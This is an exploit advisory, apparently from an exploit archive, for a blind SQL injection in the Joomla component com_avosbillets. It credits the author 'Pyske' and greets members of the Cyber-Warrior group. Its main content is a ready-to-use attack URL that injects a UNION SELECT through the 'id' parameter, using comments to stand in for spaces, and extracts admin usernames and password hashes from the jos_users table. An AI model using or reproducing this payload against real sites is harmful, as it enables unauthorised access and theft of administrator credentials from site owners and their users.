Joomla! Component com_avosbillets – Blind SQL Injection
<------------------- header data start ------------------- > ############################################################# # Joomla Component com_avosbillets Blind SQL Injection Vulnerability ############################################################# # Author : Pyske # Home : www.cyber-warrior.org<http://www.cyber-warrior.org> # Greetz : Fl0riX , M-K-A, F0RTYS3V3N ,BlackApple , KaBaDaYı and All Cyber-Warrior # Name : com_avosbillets # Bug Type : Blind SQL Injection # Infection : Admin login bilgileri alinabilir. ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > http://server/index.php?option=com_avosbillets&task=view&view=event&id=374/**/and/**/1=0/**/union/**/select/**/0,1,2,3,4,5,6,7,8,concat(username,0x3a,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/from/**/jos_users-- < -- bug code end of -- > |